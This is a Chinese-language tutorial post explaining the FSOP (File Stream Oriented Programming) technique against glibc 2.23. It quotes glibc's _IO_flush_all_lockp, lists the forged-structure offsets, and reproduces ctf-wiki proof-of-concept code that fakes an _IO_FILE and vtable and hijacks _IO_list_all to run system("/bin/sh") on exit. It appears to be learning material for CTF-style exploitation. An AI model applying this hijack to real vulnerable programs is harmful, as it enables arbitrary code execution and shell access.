FSOP
File Stream Oriented Programming
基础知识
IO-FILE基础
原理
glibc中有一个函数_IO_flush_all_lockp,功能是刷新所有FILE结构体的输出缓冲区。源码在libio\genops中
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp;
#ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif
last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
if (do_lock) _IO_funlockfile (fp); run_fp = NULL;
if (last_stamp != _IO_list_all_stamp) { fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; }
#ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif
return result; } }
|
输出缓冲区的数据保存在fp->_IO_write_base处,其长度为fp->_IO_write_ptr->_IO_write_base,因此上面代码中22~26行的if语句是判断FILE结构输出缓冲区是否还有数据,有的话则调用_IO_OVERFLOW刷新缓冲区。
其中_IO_OVERFLOW是vtable中的函数。因此考虑控制_IO_list_all链表中的一个节点,进而控制程序执行流。
该函数意义是为了保证数据不丢失,因此程序执行退出相关代码时会调用该函数刷新缓冲区,确保数据被保存。事实上,会调用_IO_flush_all_lockp函数的时机包括:
- libc执行abort函数时
- 程序执行exit函数时
- 程序从main函数返回时
以执行exit函数的情况为例查看栈结构
断点下在_IO_flush_all_lockp,查看栈回溯
1 2 3 4 5 6 7
| #0 _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:760 #1 0x00007ffff7a8933a in _IO_cleanup () at genops.c:951 #2 0x00007ffff7a46fab in __run_exit_handlers (status=0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true) at exit.c:95 #3 0x00007ffff7a47055 in __GI_exit (status=<optimized out>) at exit.c:104 #4 0x00000000004005f9 in main () at t.c:25 #5 0x00007ffff7a2d840 in __libc_start_main (main=0x400566 <main>, argc=1, argv=0x7fffffffddd8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddc8) at ../csu/libc-start.c:291 #6 0x0000000000400499 in _start ()
|
可以看到最终一步步调用并执行到_IO_flush_all_lockp
条件
伪造的结构体内容需要满足上面的代码中的if条件
1 2 3 4 5
| if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
|
即:
- fp->mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
(fp->mode偏移0xc0;fp->_IO_write_ptr偏移0x28;fp->_IO_write_base偏移0x20)
利用
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,然后触发调用_IO_flush_all_lockp,这个函数会调用_IO_FILE_plus.vtable 中的_IO_overflow。修改_IO_overflow的指针为我们想调用的函数指针即可
示例
ctf-wiki的示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8
int main(void) { void *ptr; long long *list_all_ptr;
ptr=malloc(0x200);
*(long long*)((long long)ptr+mode_offset)=0x0; *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writebase_offset)=0x0; *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0); }
|
分析
申请0x200字节的空间来伪造_IO_FILE_plus
使用前0x100字节作为_IO_FILE,后0x100字节作为vtable
- 布置_IO_FILE数据:_mode,_IO_write_ptr,_IO_write_base
- 伪造vtable的地址,指向后0x100字节的开始
- 伪造的vtable中__overflow处写上0x41414141
- 修改位于libc中的全局变量_IO_list_all,指向伪造的伪造的_IO_list_all

效果
按照预期最终调用_overflow时调用的是我们写入的0x41414141,报错

更进一步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #define _IO_list_all 0x7ffff7dd2520 #define system_ptr 0x7ffff7a523a0 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8
int main(void) { void *ptr; long long *list_all_ptr;
ptr=malloc(0x200); strcpy(ptr, "/bin/sh"); *(long long*)((long long)ptr+mode_offset)=0x0; *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writebase_offset)=0x0; *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=system_ptr;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0); }
|
最终执行_overflow(fp, EOF),相当于执行system(“/bin/sh”)
在关闭了系统地址随机化的情况下./运行程序,即可getshell
(关闭随机化才能保证system函数地址确定,否则libc基地址随机)